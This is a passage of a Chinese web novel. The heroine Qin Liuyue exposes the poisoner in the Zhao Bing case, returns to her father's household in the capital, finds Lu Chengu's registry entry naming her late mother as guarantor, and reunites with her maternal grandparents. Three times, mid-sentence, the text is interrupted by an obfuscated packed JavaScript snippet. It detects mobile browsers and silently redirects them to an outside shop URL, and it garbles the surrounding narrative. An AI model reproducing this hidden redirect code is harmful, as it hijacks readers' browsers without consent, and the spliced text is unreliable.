“秦姑娘，你还什么想说的吗？还是脱罪不成，打算仗着秦大人的势，强压我这七品小官？” 要么是脱罪、要么就是仗势欺人，这是趁父亲不在，想要钉死她的罪责了。留月站立现场，冷眼看着一屋子各怀鬼胎的人。 “赵县令！”厅外，突然传来一道沉稳冷峻的声音：“你又是凭何人证物证来指证我的女儿？” 只见秦洪业一身风尘踏入花厅，直接站至留月身前。 “若论记恨——绿榕姑娘，如果我查的没错，你是被这柳氏强行送进赵秉房中的吧，而这小厮，就是你的相好！”秦洪业冷笑，连眼神都不愿多在二人身上停留。 “你母亲早亡，天钧三年被继母卖至赵府，天钧四年秋，你的相好也主动签契入了府。别人或许不知，但你们里长那里，可还留有一张你母亲离世前给你们签好的婚书。” 一张泛黄的契纸很快被随从呈了上来，在厅上众人的手中传阅。 “那又如何？我与阿良是曾有婚约，可这代表什么？难道大人便要拿这个来污蔑我吗？呵——倒也不必，只要您抬抬手，这污蔑也是铁证，民女的项上人头也自会有人替您奉上。” 对方一句一句都在直指秦洪业颠倒黑白、仗势欺人，偏偏这种胡搅蛮缠之言最难回应。 “够了！” 留月大喝一声，她原本最担心的——身边之人被连累泼脏水、自己被污蔑倚仗权势逃脱罪责，此刻全部一语成谶。 “绿榕，你当真执迷不悟？”她一把夺过李敖手中剑横在对方面前。 “还是真觉得我没有证据？我既能悄无声息地从你房中取走药膏，又如何拿不到你研磨苹果籽的研钵？” “又或者你觉得自己床下的暗格无人能够发觉，有恃无恐？” “要不现在请你和你的好主子解释解释，一个担心少爷、忠心耿耿的婢女，为何床下会私藏着有与少爷死因完全一致的有剧毒的研钵？” 随着留月一声声叱问，厅上众人看向绿榕的眸光逐渐不善，大约知道大势已去。 半晌后，她阴测测地抬起头：“对！没错，是我杀了那个畜生！可秦小姐，你懂我们这种小人物，想要活得像个人有多难吗？我可以是继母手中任由买卖的猪狗、是县令妾室哄儿子读书的玩意儿、是你们这些贵人眼中死不足惜的蝼蚁，可我偏偏不能是个站着的人。我想与良哥好好过日子有什么错？就连这一点微薄的希望，都被你们掐灭了。这世道不公，叫我如何不恨！” “所以呢？你不公、你要报复便要拿同类的命去填吗？花姨娘难道不是同你一样被强掳为妾的？我难道不是被你亲手哄骗进府的？你是不是觉得自己是个惩恶扬善的‘英雄’？不！我告诉你，你不是，你甚至都不是你口中的人，你根本就是那食人恶虎旁的伥鬼！”留月的额间青筋隐隐跳动。 厅中，落针可闻。 绿榕脸色惨白地跌坐在地上，沉默片刻，突然仰头疯癫大笑：“哈哈哈哈哈......我是伥鬼，原来我是伥鬼。” 不等众人反应，她快速抢过留月手中的长剑，一把抹向脖子，温热的鲜血喷洒在大厅之上。 周遭静默了一瞬，接着响起女子凄厉的尖叫声。唯有阿良呆愣楞地一步一步走至绿榕身旁，轻轻抚摸她的脸。 混乱中，他抬起头朝留月惨然一笑：“秦姑娘，此事是我们连累了你。下辈子，我们当牛做马还你。” “不好！他要自尽！” 李敖旋即冲上去想要卸下阿良的下巴，但已经来不及了—— 阿良一边大笑，一边吐着血沫，不过片刻，便倒在了大厅地上，彻底断气了。 真凶终于伏诛。 真相也在后续留月的梳理中水落石出——绿榕伙同阿良，将苹果籽磨成粉撒入铜催中，借由水汽让赵秉吸入剧毒气体死亡，而花姨娘属于误打误撞，迷晕赵秉后让二人的计划更加顺畅。 不过，留月心中，隐隐总觉得有哪里遗漏了。 混乱中，无人发现她径直走到花姨娘身旁，一双漆黑的瞳仁紧紧盯着对方。 半晌后，她撇开头，轻声问道：“你可是有什么苦衷？” 花姨娘一眼不错望向她，沉默良久后温柔开口：“我叫陆沉菰。” “什么？”留月诧异。 不待她再细问什么，赵峻呼喝的声音再次响起，花厅之上人来人往，花姨娘被押走，绿榕与阿良的尸体也被搬运了出去。 “你是不是又用那个能力了？！”云升快步走来，假装无意地扶住留月，“距离上次才多久，你是想做个瞎子吗？！” 留月摆摆手，不欲多言。 ———————————————— 清微观厢房内。 陆沉菰——陆沉菰—— 这三个字反复在留月嘴边咀嚼，她为何要在最后和自己说这么无关紧要的一句话。 更重要的是，她真的是因为嫉妒而向赵秉下手吗？她明明有翻墙跃树的能力，又为何要在后门暴露引走守门人？还有之前李敖从她房中找到的包裹——二人套夜行衣、两柄双刀还有一张标有赵府到大牢再到城外路线的地图。 众多疑点像混乱的线团紧紧缠绕着她，一夜无眠。第二日一大早，她就悄悄带着李敖出了门。 祁阳县大牢内。留月与陆沉菰面对面坐着，二人中间几摞点心的包装油纸被摊开在地上，李敖抱剑站在留月身后。 “秦姑娘，又见面了。”陆沉菰语气温柔，目光瞥过李敖。 留月心领神会：“李大人，您去外面等我吧。” “可......” “没事的，陆姑娘不会伤害我的。” 李敖虽不放心，但仍然听从安排走了出去。 “秦姑娘如此信任我？”陆沉菰捻起一块点心放入嘴里。 留月拧开水壶递过去，“自然，陆姑娘都打算劫狱救我了，又怎会伤害我。” “你是这么想的？” “嗯，不仅这件事，我还有一些其他猜想。” “比如呢？” “比如，你迷晕赵秉是为了让我逃跑，喊走守门人是为了不让人发现我，从内院到后门一路无人也是你的安排。哦，对了，那日柳姨娘挥棒向我，就算没有李侍卫，你也不会让我受伤的，对吧？” 听完，陆沉菰突然开怀大笑起来，“你可真像你母亲，原本我还怀疑，天下之大，两个人容貌相似也不奇怪，可你这么聪明，和她如出一辙，怎么会不是她的女儿呢。” 母亲...... “所以，你是因为我母亲才屡次三番救我？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041600|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方既不肯定也不否认，整个人像完全陷入自己的世界一般，眼神虽然盯着留月，却仿佛透过她在看向另一个人。 “她叫顾敏，是一个极好的人。聪慧、温柔、慈悲......要我说，这世间若有真菩萨，不该是庙里泥塑的像，而是她那样的人。”陆沉菰的语气越发轻飘，突然，她伸手紧紧握住留月的手腕:“秦小姐,我们不能让好人没好报,你那么聪明，一定能为她报仇的对不对？” 女子突然高亢的声音吓了她一跳,她用力扯回自己的手,后退两步：“报仇？你的意思是我母亲是被人害死的？” 陆沉菰微微颔首。 “那你有什么证据？” “没有......” “或者你可有怀疑的人选？”她一眼不错地望向对方，可她也只是绝望地摇头。 二人再次沉默。不多时，李敖咳嗽两声走了进来：“小姐，京中来人了。” 留月心中诧异，京中来人？和她说做什么？总不能是秦家其他人跑到这里要见她吧。见她一脸不解，李敖不得已用手指指陆沉菰，“京兆府来提审。” “京兆府不是管京中刑狱的么？怎么管到我们这儿来了？”留月更疑惑了，这案子就算因着秦父的脸面往上抬一抬，那也最多是到刑部吧？ 此时，她的心思全部都在陆沉菰身上，加之昨晚没睡好，竟没有发现一个清瘦的身影正站在不远处的阴影里。 见李敖也说不出缘由，她正欲转身，身后的女子突然一把拉过她用力抱住，热气拂过她的耳朵。 一旁的李敖吓了一跳，急忙想要抽出佩刀。低头间，一柄褐色的刀鞘先他一步飞进牢中，狠狠将女子撞开，旋即一抹蓝色的身影掠过，一手将留月拽至安全范围之内，另一只手则将冰冷的剑锋指向陆沉菰。 “等一下！”留月急忙双手反握住来人衣袖，“她没有要伤害我。” 剑意顿减。 李敖见留月无碍，赶紧捡起地上的剑鞘，弯腰递了上去：“卑职见过京兆尹大人，方才多谢大人相助。” 这就是要来提审的京兆府府尹？留月抬起眼眸，牢中光线不足，只能勉强看出对方出尘的气质，当然，得抛开那一脸的生人勿进的气息来说。见对方的视线死死盯着手臂，留月终于后知后觉发现自己还紧紧拽着对方，只好讪笑着收回手。 见她松手，谢长龄从李敖手中接过剑鞘，重新将剑收回，“警觉性太差，出鞘迟疑，回防失序，难堪大用。”冰冷的话自他口中说出。 留月刚想替李敖辩解两句，就听对方应了下来，并用眼神示意她出去。 明暗交替，外面的阳光刺得人睁不开眼，留月用手挡在额前，环顾一周。京兆府带来的士兵人数不少，此时，就连外面也站了两排。 “京兆府排场这样大么？” “不是京兆府的排场大，是那位的。”李敖压低声音，朝里面努努嘴，“谢家一门忠烈，塞北一役后，就只剩小谢大人一个了，宫里看重得很呢。” 行吧。留月收回视线，将手背在身后悠悠往回走。此时，天光已大亮，沿路挤满了出早市的摊贩，叫卖声不绝于耳，一阵甜糯的香味飘来，留月不自觉在人头攒动糖油糍粑摊位前停下脚步。 看出她的想法，李敖很上道地挤进人群。直到看到他被人群淹没，留月才微微摊开手掌心，视线飞快扫过手中的字条，上面写着：不要相信任何人。 6. 千金归来 祁阳县南去十里的官道上，一个身着道袍的男子定定远眺着疾驰的车队，待马车消失在视线内，才缓缓转身心中默念：师傅，希望你的决定没有错。 一周前，留月终究还是答应了秦父随之回京的提议。不仅是因为秦洪业承诺会替陆沉菰周旋，她为自己身陷囹圄，自己不能弃她于不顾；自己对亲情的渴望，更因为陆沉菰当日伏在她肩头说的那句：和你的父亲回京城吧，那里会有你想知道的。 虽然当时陆沉菰的精神状态存疑，但她总觉得对方并不是信口胡诌。 马车一路摇晃。对面的男子始终埋头处理公文，眉宇间尽是专注，马车中盈满了蜜饯清甜的香味，这是临出发前他特地去给自己买的，至少这样看起来，他是个尽职尽责的好官，也是个慈爱的父亲，留月想道。 “父亲——” 对面男子猛地抬起头，愣了一瞬连声应道：“诶！诶！” “父亲，京城家中......现在是何情形？” 对方缓缓放下手中的公文，“是我的疏忽，应该提前与你细说的。”他就着手中批阅公文的笔，边说边顺势在一张白纸上注写，“家中如今由继室主持中馈，她姓李，名贞娘，在你母亲去后第三年，由你祖母做主定下，李氏为人秉性端方，持身甚正，你无需担心。她入门后，生了一对龙凤胎，名唤兰意、存砚，二人比你小四岁；此外，府里还有一位钱姨娘，有个小女儿名唤梅风，年纪更小些。” 随着父亲在纸上写下一个又一个名字，她的心中涌起一丝酸涩，又如风过湖面，吹起一圈涟漪后重归平静。 秦洪业怎会看不出她的情绪，刚想出声安慰，却被少女抢先开口：“女儿知道了。” 她掀开窗帘，望向远处，车窗外是广袤的田野与远山，有什么好失落的呢？人之常情罢了。 “只是我自幼在山野间长大，散漫惯了，如今回到家中，若举止间有什么不合规矩的地方，还望父亲和家中各位多多包容，容我慢慢适应学习。此外，女儿还有两个不情之请......” “但说无妨。” “一是我自幼修道，早已养成晨课夕省的习惯，归家后需要一处安静的住处清修，望父亲理解。二是京城繁华，我希望能自由地出去走走，开阔眼界，我不愿终日被拘于内宅。” 秦洪业看着好似又与自己远了几分的女儿，心头发涩，点头应下。 三日后的傍晚，留月在噼里啪啦的鞭炮声中抵达了秦府。 高大气派的秦府大门中开，廊檐上大红色的灯笼高高挂起，一位丰腴的年轻妇人携一干少男少女立于牌匾之下，在离他们三步远的另一侧，一个头束玉冠的男子不时拍打衣袍，翘首以待。 “这便是月儿吧。” 留月甫一下车，原本站在众人前面的中年美妇就自然地上前握起她的手。 “月儿这些年在清微观仙师座下，为母亲吃斋祈福，孝心可嘉，今日总算回家了。”女子的手不轻不重地拍拍她的手背。 留月也默认接下了这个说辞。 原本还在人群边缘的男子挤开众人，跨步上前，“表妹，可猜到我是谁？”不等她回答，提醒道，“你母亲是我的姑母。” “表哥好。”留月端起标准的笑意。 “诶~”他回身从小厮手中取过一个锦盒打开，满眼笑意地望向她，“多年未见，表妹长这么大了，家中长辈亲人都十分挂念你，只是祖父母年纪大了情绪不能太激动，父亲朝中尚有公务脱不得身，便先遣我来瞧瞧你。” 说完，他又一一将锦盒中的金玉器物指给她看，“这是祖父母的见面礼，这是二伯和二伯母的......” 父亲在野，口呼二伯、二伯母，那当是顾家大房长子——顾克寒。 待她道过谢将锦盒收下，对方又变戏法似的从袖中取出一封信笺，“月儿表妹，小妹托我千万要将这份帖子亲自交到你的手上，她在家中为了迎接你已经准备多时。” 对方用骨节分明的手指点点信笺，温和道：“今日我就先回去了，家中都在盼着你的消息呢，可不要让小妹......和大家等太久了。” 说完，对方只略朝秦洪业抱拳躬身，便带着小厮大步流星地走了，来去迅速得仿佛一阵风。 留月心念微动：外祖家与秦府......似乎不是很融洽？ “好了，好了，快别站在门口了。老爷和月儿一路风尘想来也饿了，家里已备好饭菜，先进来吃饭吧。”李氏含笑圆场。 一路穿行，秦府景致古朴沉寂，园中既没有旁逸斜出的奇花异草，廊下也没有靡靡的雀鸟之音，只有修剪齐整的桂柏和造型质朴却厚重的假山石，隔着人工湖，远远瞧见过一队身着女使服饰的人低着头有序走过。 二小姐秦兰意端着冷艳的脸，机械地给她介绍着府中的格局，三小姐秦梅风垂头跟在秦兰意身后，眼风偶尔不经意的刮过前方浅绿的身影，李氏扶着秦洪业，听秦存砚禀报府中事务，提及“已封存大姐姐度牒，待来年试经择机更替”时，方才满意地点点头。 等到了花厅，满堂的烛光将室内染得透亮，黄花梨木的桌子上已摆好了各式菜肴，一队女使站在廊下等候吩咐。 秦洪业沉稳的声音，顺着流淌的光线，穿过雕花木窗流入廊下众人耳朵。“从今往后，明月便是秦府的大小姐、你们的大姐姐，兰意、梅风按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041601|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序行二、三。待授衣假结束后，你们姐妹便一同前往琅嬛书院学习。”这是回来的路上，父亲与她商量好的，回京后还是按旧称“明月”，避免多生是非。 不多时，秦兰意领着弟妹们齐唤“大姐姐”的声音再度传来，屋外的女使们无声地对过眼神，随即又垂首静立。 屋内，明月也在无声地打量着秦府众人。与话本中演绎的豪门恩怨不同，秦府规矩甚是周全，大约是照顾到她刚来，也没有讲究食不言，席间不时聊天，但明显点到即止，除了礼貌地有些疏离以外，没有一丝问题。 饭后，众人皆未散去，依然全部聚在花厅中。屋内的盘枝香炉复又升起袅袅香烟，一点点驱散着食物的气味，女使们有条不紊地做好收尾工作，逐步退出屋中。 李氏以帕遮面，吐完茶汤后，温和开口：“月儿，你今日刚到家，府中也不知你身量如何，我便暂先比照着兰意的身型多放了几寸，给你赶制了几身新衣，其中四套是日常穿的襦裙与比甲，两套略正式些的交领长裙，还有一些贴身中衣、绢帕香囊之类的细软，都已送入你房中了。” 推辞的想法刚一升起，李氏仿佛知道她要说什么似的，眼风带着她转向府中其他子女。 “眼下这些不过是权宜之计，你暂且将就，府里也已吩咐下去了，明日会唤绣娘进府，给你量过身型后好好裁制几套衣裳。月儿莫要多思，并不只是你，兰意、梅风也是一样的。” 点到为止。 她明白，在这里，她不再是清微观的留月居士，而是秦府的大小姐、秦府的颜面。 见留月不再推辞，李氏复又抬手引进一队年龄差不多都十五六岁模样的女使，要她挑选。 她能一个都不要吗？道理她都明白，也不想在家中搞特殊，显得格格不入，其实选几个人无所谓，不习惯伺候不用就是了，可她回京城是带着“任务”的，身后坠着这些人，她如何施展得开？ 李氏还要劝，秦洪业见她为难的样子，想起她说要见见京中风华的话，斟酌着开口道：“月儿，选两名侍女放入房中吧，不拘做什么，陪你说话也好。剩下的，我让李敖跟着你，出行跑腿之事便让他担着，你看可好？” 顾虑打消，自己也不忸怩，仔细打量后，根据前职业习惯，凭着面相选了一个名叫清圆的娃娃脸女使，一个名叫荷举的高挑女使。秦洪业犹自不放心，又亲自召来府中所有管事，一番敲敲打打。 等走完这一套流程，回到府中为她准备的住处——“望舒阁”时，她只觉比赶了几日的马车还累，一番梳洗躺倒在床，紧绷的精神瞬间松懈下来，虽处于陌生的环境，但生理加心理的双重疲累，让她很快进入了梦乡。 7. 三条线索 翌日清晨，她在清脆的鸟鸣声中醒来，多年晨课已成习惯，待清圆、荷举端水进来，她已穿戴整齐，默诵完宝诰了。 昨晚回来时，父亲再三叮嘱不必拘于虚礼晨昏定省，因此她一边在院中悠然地吃着早饭，一边看着昨日顾家表哥转交给她的信笺，心中犹豫是先去查一查陆沉菰与母亲之事，还是先应顾家之邀。 不多时，荷举进来回禀李敖在门口求见，她赶紧放下粥碗，将人请入院中，这下不用犹豫了。 “大小姐，李敖前来领命。” “李大人，好久不见啊。”互相伤害的“小姐大人”说辞再度重出江湖。 “卑职昨日还跟在车队后面......” 嗯，只能说，是个老实人。 不再攀扯“大人小姐”的话题，她盯着李敖的手，主动开口询问：“李大人，你手中拿的是什么？” 甫从他一进门，她就关注到他手中捧着的厚厚的书帖了。 “《京中通关帖》，宫里当差必备的东西，我想着您刚来京中或许需要，便自作主张带过来了。”他将书帖放到自己面前，语气小心，“您要看看吗？” 秦明月缓缓打开面前的书帖，不禁倒吸一口凉气。 里面不仅写明了世家之间盘根错节的姻亲、同盟与世仇关系，甚至在一旁用蝇头小楷标注着许多明显鲜为人知的秘辛，谁家爵位来之不正，谁与谁表面和气、私下却势同水火，甚至谁家儿媳与旁支庶子暗通款曲...... 这满是雷区的“京中地图”，你说这是宫中当差必备？宫中当差的有几个脑袋够砍？这通关贴也许真是必备的，但是一旁的注释她确定应该是某个老实人连夜加上去的。 秦明月也不戳破，深吸一口气将书帖合上，“我很需要，谢谢你。诶，李大人你怎么还站着，快坐快坐。” 她殷勤地掸了掸凳子上不存在的灰，伸手将李敖按了下去。 对面的李敖瞬间涨红了脸，像弹簧般站起又被按下、站起又被按下。 “哎呀！李大人，你就不要推辞了，我还有事要拜托你呢。”秦明月最后一把牢牢把李敖按住。 “小姐尽管吩咐。” “李大人，我想去户部。” “户部？大人不就在户部？您若想进，与大人说一声应当就可以了。”李敖不解地看向她。 “我想去户部档案库查查陆沉菰的档案，但不能告诉父亲，因为他不会希望我再牵扯到案件里去的。”秦明月并不打算隐瞒，毕竟以后外出李敖会一直跟着，根本瞒不住，更何况自己初来京中两眼一抹黑，除了与他还有一点交情，再也没有其他人了。 见他不答应，她又竖起三根手指说道：“我保证不做出格的事。” 微风穿堂而过，少女额顶一抹碎发随之飘摇，却始终倔强的翘着。就算他不答应，她也一定会自己想办法进去吧？ 李敖无奈地摇摇头：“您想什么时候进去呢？若是白日里，我有一旧识在户部任典吏，可以看看能不能通融，不过不宜久留。夜间......于礼不合。” “白日即可，时间也不必太久！”她急忙应道，一双明亮的杏眼被笑意推成了一道弯月，“李侍卫，你可真是个细心的好人！” 京中通关贴“真相”虽迟但到，李敖的脸再次涨得通红。 看着对方借口联络旧识“落荒而逃”的背影，秦明月嘴角忍不住上扬，不一会，似又因为想到什么缓缓放平。 赵秉之死案中，陆沉菰除了给了自己“问题根源在京中”及“不要相信任何人”两条线索以外。 其实，还有第三条线索，那就是“她叫陆沉菰”，哪怕事情真相揭露时，她并不知道自己能不能看出其中关窍的情况下，仍然选择强调她的名字。 由此看来，“陆沉菰”三字应是一条极为重要也是当下最明确的线索。 李敖办事效率很高，当天下午便带她前往户部。 二人有意避开秦尚书及其随从，等到达黄册库时，李敖旧识已等候多时，将二人引至库房存放京中人员户籍之处后，便继续回到值房当差了。 “大小姐，你可知陆姑娘京中家居何处？”库房内数百列架阁上存放着大量册籍，大部分册籍按京中方位汇总存放，若无相关信息，想要找到一个人无异于大海捞针。 她离开祁阳时，赵秉一案还在审查中，她未能见到完整卷宗，自然也没有看到陆沉菰的个人情况。 但二十岁左右的女子未曾定亲，且有一身好武艺，说明并非普通人家女儿；能独自远行，在祁阳为赵秉所掳，亦未有家人报官或寻找，说明也非大户人家之女。 因此想要通过陆姓家族线索查到她一事也希望渺茫，倒是役籍查询希望更大些，有武艺的年轻女子，或许是大户人家女眷的侍卫？ “我不知她家居何处。”她目光环视四周，一边寻找存放役籍的架阁，一边问：“李侍卫，一般侍卫的户籍归于哪个户等？” “若依制在册的，皆为军户，但王公府邸、勋贵之家一般会私下招募些能人，这些人不入军籍、不纳徭役，多半会纳入匠户。” 闻言，秦明月在架阁中精准锁定了存放匠户役籍的架子。 陆沉菰是女子，本朝军户制度森严，绝无女子顶替的可能，因此她绝不可能出自军户，那便只有匠户了。见她在其间寻找，李敖也不问缘由，直接另起一头帮助寻找起来。 时间一分一秒过去，二人一左一右对向翻阅，直至在最后一个架阁汇合也未找到陆沉菰的户籍信息，门外响起一阵咳嗽声，这是提醒他们时间快到了。 “怎么会这样呢？既非军户，亦非匠户，难道是民户？不应该啊......”她忍不住喃喃自语，眉头深深蹙起，又将架阁扫视了一遍。 “小姐，若是库中实在找不到，不如等出去后卑职再使人到茶楼酒肆等地方打听打听吧。”李敖见她面露难色，宽慰道。 茶楼......酒肆......一道电光闪过！是谁说她一定是大户人家的侍卫了？若是受雇于商户，那么她在户籍管理上，都会被视作“附商”，即是商籍！ 商籍，商籍......她小步在架阁间快走起来，手指从排列齐整的册籍上一一滑过，能请得起护卫的必定不是小商小贩，那就从富商巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041602|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贾开始。 “找到了！”不多时，她便在通济盐号的从业丁口录中找到了陆沉菰的名字。 陆沉菰，女，原名武昭，景隆二十六年生，边州人士。天钧元年改名并入京籍，通济盐号走盐镖师，保人系景隆二十五年传胪秦洪业之妻顾氏。短短两行字记录了她所有资料。 顾氏？秦洪业之妻？母亲竟然以保人的身份出现在了陆沉菰的户籍上？！ 秦明月缓缓合上书册。 母亲为何要为陆沉菰改名入籍？她为何要从边州独身入京？又如何能以一介女子之身成为当朝第一盐商的镖师？ 纷杂的疑团在脑中爆炸。 “谁？”李敖突然警觉地看向架阁首段。 二人对视一眼，快步往门口跑去。 “你们事情办完了？”典吏拿过一本书册走了出来。 “刚刚是你在这里？”李敖看向旧友。 对方举起一本书册，“喏～京中又进了新户，按规矩要登记。” 听完，秦明月松了一口气，跟在李敖身后走了出去。 是夜，望舒阁书房内，秦明月站立在书案前沉思，书案正中放着一方蟹壳青的澄泥砚，砚中仅有有少量清水。 清圆蹑身走进来，用银剪小心剪断焦黑的灯芯，烛火“噼啪”一声轻响，屋内复又明亮起来，映着少女专注的侧颜，她顺着少女的目光望向砚台，试探着问道：“小姐，奴婢为您研墨吧。” “不用。我这里无事，荷举你先下去吧。”待书房门重又掩上，她深吸一口气，伸手提笔沾清水，习惯性地将所有已知信息在桌面上罗列起来。 回京途中，父亲将家中情况一一说尽，却对母亲之事三缄其口，她还没有傻到以为这是无意之举。 归家当日，母亲母族之人甚至连顾家大门都不愿意踏入，这是两家不合的信号，秦顾不合，无外乎是因为顾敏这个女儿，亦或是她这个外孙女，如果是因为母亲，那最大的原因可能就是母亲之死，如果是因为自己，那就是因为自己流落在外，母亲之死真相尚未可知，那自己又为何流落在外多年？ 另外，母亲于陆沉菰有恩，浅显看来是帮她入籍更名作保，可问题是母亲如何认识陆沉菰？又为何愿意做这个保人，是否与母亲的死因有关？ 联想到在祁阳时，坊间流传的赵峻后宅争斗之事，她急忙走到书架旁，伸手从一侧的落地瓶中取出李敖送给她的《京中通关帖》。 目光一列一列快速扫过，直到到达户部尚书秦洪业名字时，速度才渐缓下来。秦洪业，靖远秦氏长房次子，景隆八年生，京中人士；景隆二十五年，高中传胪，娶妻顾氏长房长女顾敏；景隆二十八年生长女秦明月；天钧二年，顾敏去世；次年，长女入观为母祈福；天钧五年，娶扬州万裕粮行次女李贞娘为续弦；天钧七年，生长子秦存砚、次女秦兰意...... 原本一下子提起的心稍稍落地，父亲出身靖远秦氏，自高祖时期便迁至京中，扬州离此相隔甚远，应当不会是什么杀妻弃子的戏码。 可母亲之死和自己走失的真相到底什么？ 桌上的水渍慢慢淡去—— 8. 旧事重提 次日一早，秦明月照例早早醒来，她决意今日去一趟顾家。 不知是否因为在祁阳耽搁了太久，秦洪业自回京后便忙得脚不沾地，整日早出晚归看不见人影，若不是每日送来的吃食、小玩意儿，她甚至觉得自己又与父亲失散了。 临出发前，秦明月按规矩到正院向李氏禀告此事，李氏面上并未有不喜之意，甚至安排府中套车送她，还着意添了一车随礼。 考虑到要进内院看望女眷，她便没有带李敖，而是带了清圆。经过这两日相处，她发现清圆虽然看起来一副孩子气未脱的讨喜模样，但为人却极谨慎周全。 马车驶到顾家门口，秦明月刚爽利地跳下马车，就见顾家两名门房对着一卷轴看了两眼，便急忙推开中门，然后一个人快步上前，堆着一脸的笑意，躬身迎接；另一人则一边往府中狂奔，一边大喊：“表小姐回来了！表小姐回来了！” 秦明月心中巨震，这...顾氏...家风如此...跳脱吗？ 刚随门房走至仪门，便见不远处一众人急匆匆往这边赶来，不算窄的甬路前后挤了好几排。 “月儿！月儿！我的月儿！”一头戴福寿抹额，身着绛紫锦袍的老妪在两名中年美妇的搀扶下，走在人群最前端。顾克寒不知何时走到她身边，低声提醒：“这是外祖母。” 话音刚落，老妪已行至身前，一把将她抱住，“我的月儿啊！我的孩子，你终于回来！”老妪一下一下用力拍着她的后背，“孩子，你终于回来了！外祖母还以为再也见不到你了！我的儿啊！”头发花白的老人爆发出不属于这个年龄的力量，将她牢牢箍在怀里。 与家人相认后也不曾留过一滴眼泪的她，此时不知为何，鼻尖一酸，眼眶阵阵发热，与家人失散多年的悲痛如延迟而来的利刃，狠狠插入她的心间。 她小心翼翼地伸出双手，回抱住痛哭的老人，一把一把顺着老人的背，“外祖母，外孙女回来看您了。”她将头伏在老人肩头，眼泪不自觉流下，四周一片寂静，只听见压抑的轻啜此起彼伏。 片刻后，周边响起温柔的劝慰声。 “老太太，月儿回来是好事，可不能再哭了。” “是啊，月儿刚回来，快带她回屋坐下吧。” “对！对！”老人强掩激动，退开半步，仔细打量着少女与女儿相似的面庞，一手紧紧牵着她，一手拿着手帕擦拭眼泪，“这是天大的好事。” “好姑娘，你也不要哭了，仔细眼睛哭坏了。”原先扶着老夫人的那位妇人走上前，红着眼圈，温柔地牵起秦明月的另一只手，用丝帕为她拭去泪痕，“孩子，我是你大舅母，这是你二舅和二舅母.......” 跟着大舅母的引导，她一一望去，外祖父虽板着脸，可急促的呼吸、微微颤抖的嘴唇却暴露着他此时的情绪。二舅的袖子还被襻膊束着，可见来之前正在忙活，闻讯便急匆匆赶来了。二舅母以手帕掩着眼睛，肩膀微微抖动，一众小辈都红着眼睛眼巴巴地望着她...... 来自血脉的共鸣，如同一道灼热的洪流，瞬间冲垮了她所有的心防。 “不孝子孙秦明月，”她撩起衣袍，在众人未能反应之际，朝着诸位长辈深深叩首下去，声音带着颤意，“今日归家了！” “月儿！”众人的呼唤声响起，原本面无表情站着的外祖父，冲上前将她扶起。坚定开口道：“回家”，说完便用力牵着她往里走去。 等到了中院，大舅母赶紧使人去工部寻大舅回来，又咐管事嬷嬷通知厨房按照前几日做好的准备安排接风宴，二舅先回院子更衣，二舅母则指挥女使端来吃食点心，携着秦留月坐在外祖父母膝下。 顾家老太太对秦明月简直爱不释手，摸摸她的发髻，拍拍她的手，嘴里也一刻不停，仔细询问这些年她过得如何，回秦家后可曾遇到什么刁难，秦明月也都耐心地一一回应着。 等女使将各式茶点端上来，二舅母将一碟精巧的芙蓉酥推到她面前：“好孩子，先垫一垫。你外祖母得知你要回京时就开始念叨了，说女孩子家最爱这些甜丝丝、模样又精巧的吃食点心，非要府中每日备上，就等你回来了。” 老太太也紧紧攥着少女的手，目光片刻不离：“月儿，快尝尝喜不喜欢，当年你母亲还在家时就最爱吃这个了。” 气氛陡然安静下来，一旁的老爷子持着茶盏的手定在空中：“说这些做什么！” “无妨的，我自记事起就没有见过母亲了，也时常想象她的模样。”秦明月顿了顿，“外祖母，母亲——她是什么样的人？” “你母亲啊，心肠是最最柔软的，也是做事最周全的......” 苍老的声音娓娓道来。 “那年你母亲怀了你，家中知道后，早早就备下了两个奶娘，因着女子生产损耗极大，我本想有了奶娘就让她好好养身体，可谁承想，等你满月我去看她时，才发现她一直坚持自己哺育你，她舍不得将你交给旁人。” 温暖干燥的双手轻轻抚摸着她的发髻，“我问她既然如此，为何不回了这些奶娘，也好全了人家的母子之情，她答：若家中还有一点办法，谁能刚生产就舍下嗷嗷待哺的孩子呢，若她将人回了，怕断送了人家一家的生路。” 老人的语气带着无尽的温柔和骄傲。 “可谁知，她的好心竟养出了那样一条“毒蛇”！” 老夫人突然情绪激动起来，以手重重拍向案几。 二舅母急忙奉茶让老人消消气，望着明月迷茫的眼神，她接过话茬。 “后来你稍大些了，虽然她们并未真正哺育过你，但你母亲仍留她们在你房中做了嬷嬷。谁知这二人不思感恩，竟为了在你面前争个高低——一个亲手为你做了元宵灯笼，另一个怕落了下风，竟不擅做主张将你带出府去看花灯，这才导致你在人潮中走散，以致我们骨肉分离多年。” 厅中有叹气之声传来。 